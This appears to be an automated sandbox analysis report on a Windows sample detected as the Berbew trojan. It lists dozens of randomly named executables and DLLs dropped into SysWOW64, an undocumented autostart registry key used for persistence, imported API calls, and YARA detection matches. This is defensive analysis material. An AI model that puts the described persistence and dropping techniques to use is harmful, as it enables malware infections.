Source: C:\Windows\SysWOW64\Plgflqpn.exe	File created: C:\Windows\SysWOW64\Akghbg32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Jcofqqkm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	File created: C:\Windows\SysWOW64\Ibigijoc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oglabl32.exe	File created: C:\Windows\SysWOW64\Jdackq32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	File created: C:\Windows\SysWOW64\Chfnmf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	File created: C:\Windows\SysWOW64\Fkdfmkhi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	File created: C:\Windows\SysWOW64\Ajikgq32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Olijjb32.exe	File created: C:\Windows\SysWOW64\Ligdce32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oglabl32.exe	File created: C:\Windows\SysWOW64\Olijjb32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnnampcf.exe	File created: C:\Windows\SysWOW64\Bnpnbp32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dfcboo32.exe	File created: C:\Windows\SysWOW64\Edgbhcim.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Emogai32.exe	File created: C:\Windows\SysWOW64\Efgkjnfn.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Cnjaioih.exe	File created: C:\Windows\SysWOW64\Camgpi32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Feidnc32.exe	File created: C:\Windows\SysWOW64\Hdgplo32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Camgpi32.exe	File created: C:\Windows\SysWOW64\Ibbpip32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Eoappk32.exe	File created: C:\Windows\SysWOW64\Fkogfkdj.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Ojacofgb.exe	File created: C:\Windows\SysWOW64\Ppllkpoo.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Opbieagi.exe	File created: C:\Windows\SysWOW64\Oglabl32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Camgpi32.exe	File created: C:\Windows\SysWOW64\Dmfdkj32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	File created: C:\Windows\SysWOW64\Dfcboo32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	File created: C:\Windows\SysWOW64\Gfdcflnh.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ceampi32.exe	File created: C:\Windows\SysWOW64\Cnjaioih.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnnampcf.exe	File created: C:\Windows\SysWOW64\Ekpjke32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ceampi32.exe	File created: C:\Windows\SysWOW64\Hjjfnehb.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	File created: C:\Windows\SysWOW64\Bqjacldl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	File created: C:\Windows\SysWOW64\Eoappk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	File created: C:\Windows\SysWOW64\Bgamkfnl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	File created: C:\Windows\SysWOW64\Hjdhea32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Plbmqa32.exe	File created: C:\Windows\SysWOW64\Lfcadoap.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Edgbhcim.exe	File created: C:\Windows\SysWOW64\Kfnpbj32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Baagdk32.exe	File created: C:\Windows\SysWOW64\Fcjdhk32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dfcboo32.exe	File created: C:\Windows\SysWOW64\Pfgpqb32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Onkcje32.exe	File created: C:\Windows\SysWOW64\Jgemldcp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	File created: C:\Windows\SysWOW64\Ccapffke.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Edgbhcim.exe	File created: C:\Windows\SysWOW64\Emogai32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Pqeoao32.exe	File created: C:\Windows\SysWOW64\Qgcpihjl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Feidnc32.exe	File created: C:\Windows\SysWOW64\Foaigifk.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Oceoll32.exe	File created: C:\Windows\SysWOW64\Onkcje32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Eoappk32.exe	File created: C:\Windows\SysWOW64\Lbfpda32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fhedeo32.exe	File created: C:\Windows\SysWOW64\Njaakj32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	File created: C:\Windows\SysWOW64\Pkjmee32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	File created: C:\Windows\SysWOW64\Mfdadc32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fhedeo32.exe	File created: C:\Windows\SysWOW64\Feidnc32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Pqeoao32.exe	File created: C:\Windows\SysWOW64\Clqdacnn.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Foaigifk.exe	File created: C:\Windows\SysWOW64\Ckaenpam.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Olijjb32.exe	File created: C:\Windows\SysWOW64\Oeanchcn.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Cnjaioih.exe	File created: C:\Windows\SysWOW64\Ahhhnd32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ccapffke.exe	File created: C:\Windows\SysWOW64\Ipqipqal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Foaigifk.exe	File created: C:\Windows\SysWOW64\Ggmnlk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Emogai32.exe	File created: C:\Windows\SysWOW64\Flhljo32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Plgflqpn.exe	File created: C:\Windows\SysWOW64\Pqeoao32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Oceoll32.exe	File created: C:\Windows\SysWOW64\Fehgpcld.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Baagdk32.exe	File created: C:\Windows\SysWOW64\Cfnpmb32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Nejhbi32.exe	File created: C:\Windows\SysWOW64\Bpghkh32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	File created: C:\Windows\SysWOW64\Opbieagi.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	File created: C:\Windows\SysWOW64\Pdmohf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Odekfoij.exe	File created: C:\Windows\SysWOW64\Ojacofgb.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	File created: C:\Windows\SysWOW64\Ekpkmk32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\h879iieoae.exe	File created: C:\Windows\SysWOW64\Nejhbi32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Oeanchcn.exe	File created: C:\Windows\SysWOW64\Pdkggn32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgibkegc.exe	File created: C:\Windows\SysWOW64\Baagdk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	File created: C:\Windows\SysWOW64\Fhedeo32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	File created: C:\Windows\SysWOW64\Khlnhl32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ccapffke.exe	File created: C:\Windows\SysWOW64\Ceampi32.exe	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\h879iieoae.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad Web Event Logger			Jump to behavior
Source: C:\Users\user\Desktop\h879iieoae.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad Web Event Logger			Jump to behavior

Source: C:\Windows\SysWOW64\Bgibkegc.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Foelkeee.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Opbieagi.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Hjanmb32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Onkcje32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Jgemldcp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Odekfoij.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Bdlhdkdf.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Accicdme.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Iemjhp32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Eoappk32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Lbfpda32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fhedeo32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Njaakj32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Pkjmee32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Akghbg32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Lfjejf32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\h879iieoae.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Jcofqqkm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ibigijoc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Mfdadc32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oglabl32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Jdackq32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Clqdacnn.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Foaigifk.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ckaenpam.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Chfnmf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ahhhnd32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Fkdfmkhi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Fkogfkdj.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ajikgq32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Olijjb32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ligdce32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ccapffke.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ipqipqal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Foaigifk.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ggmnlk32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\Feidnc32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Hdgplo32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Emogai32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Flhljo32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Camgpi32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ibbpip32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oceoll32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Fehgpcld.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Bpghkh32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Gfdcflnh.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Pdmohf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Ceampi32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Hjjfnehb.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ekpjke32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Ekpkmk32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Pdkggn32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Hjdhea32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Kfnpbj32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Lfcadoap.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Khlnhl32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Pfgpqb32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\Baagdk32.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Fcjdhk32.dll	Jump to dropped file

Source: C:\Users\user\Desktop\h879iieoae.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Nejhbi32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Opbieagi.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Oglabl32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Olijjb32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Oeanchcn.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Oceoll32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Onkcje32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Odekfoij.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Ojacofgb.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Plbmqa32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Plgflqpn.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Pqeoao32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Ajkolbad.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Bqjacldl.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Bnnampcf.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Bgibkegc.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Baagdk32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Ccapffke.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Ceampi32.exe	API coverage: 8.3 %
Source: C:\Windows\SysWOW64\Cnjaioih.exe	API coverage: 8.3 %

Source: C:\Users\user\Desktop\h879iieoae.exe

Code function: 0_2_00402E06 GetVersion,LoadLibraryA,GetProcAddress,IsBadReadPtr,GlobalMemoryStatus,GetEnvironmentStringsW,CloseHandle,GetModuleHandleA,VirtualQuery,IsBadWritePtr,

0_2_00402E06

Source: C:\Users\user\Desktop\h879iieoae.exe

Code function: 0_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,

0_2_00406C29

Stealing of Sensitive Information

Yara detected Berbew

Source: Yara match	File source: 24.2.Cfnpmb32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Opbieagi.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.Ccapffke.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Cnjaioih.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Bqjacldl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Oceoll32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.Dmfdkj32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Nejhbi32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.Qgcpihjl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Bmlhnnne.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Pqeoao32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.Feidnc32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Efgkjnfn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.Oglabl32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Ojacofgb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Bqjacldl.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Olijjb32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Plgflqpn.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Cnjaioih.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.Cfnpmb32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Olijjb32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Efgkjnfn.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Bnnampcf.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Onkcje32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.h879iieoae.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.Dnhmjm32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Ogjdllpi.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.Emogai32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Ojacofgb.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.Oglabl32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Opbieagi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Pqeoao32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Bgamkfnl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.Fkogfkdj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.Camgpi32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Baagdk32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Ppllkpoo.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Bnpnbp32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.Ajkolbad.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.Emogai32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Ogjdllpi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.Fhedeo32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.Dfcboo32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Plbmqa32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.Dfcboo32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.Eoappk32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Bnpnbp32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Oceoll32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.Ajkolbad.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.Feidnc32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Bmlhnnne.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.Camgpi32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Plbmqa32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.Edgbhcim.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.Fkogfkdj.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.Ccapffke.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Ceampi32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Odekfoij.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.Bgibkegc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Onkcje32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.Edgbhcim.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Nejhbi32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.Bgibkegc.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Ceampi32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.Qgcpihjl.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.Foaigifk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Bgamkfnl.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.Fhedeo32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Oeanchcn.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.Foaigifk.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.Eoappk32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Ppllkpoo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Oeanchcn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Bnnampcf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.h879iieoae.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.Dnhmjm32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Baagdk32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Odekfoij.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Plgflqpn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.Dmfdkj32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.1998469389.000000000042A000.00000004.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2006552400.000000000042A000.00000004.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2029721811.000000000042A000.00000004.00000001.01000000.00000028.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2021263243.000000000042A000.00000004.00000001.01000000.00000024.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2005214969.000000000042A000.00000004.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2027822384.000000000042A000.00000004.00000001.01000000.00000026.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2000741077.000000000042A000.00000004.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1986379697.000000000042A000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1990903099.000000000042A000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2017016443.000000000042A000.00000004.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2011076811.000000000042A000.00000004.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2029071325.000000000042A000.00000004.00000001.01000000.00000027.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2005778309.000000000042A000.00000004.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2016533194.000000000042A000.00000004.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2007866947.000000000042A000.00000004.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2004277931.000000000042A000.00000004.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2031051927.000000000042A000.00000004.00000001.01000000.0000002A.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2008521888.000000000042A000.00000004.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2001790871.000000000042A000.00000004.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2018453034.000000000042A000.00000004.00000001.01000000.00000021.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2019406612.000000000042A000.00000004.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2019682823.000000000042A000.00000004.00000001.01000000.00000023.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY
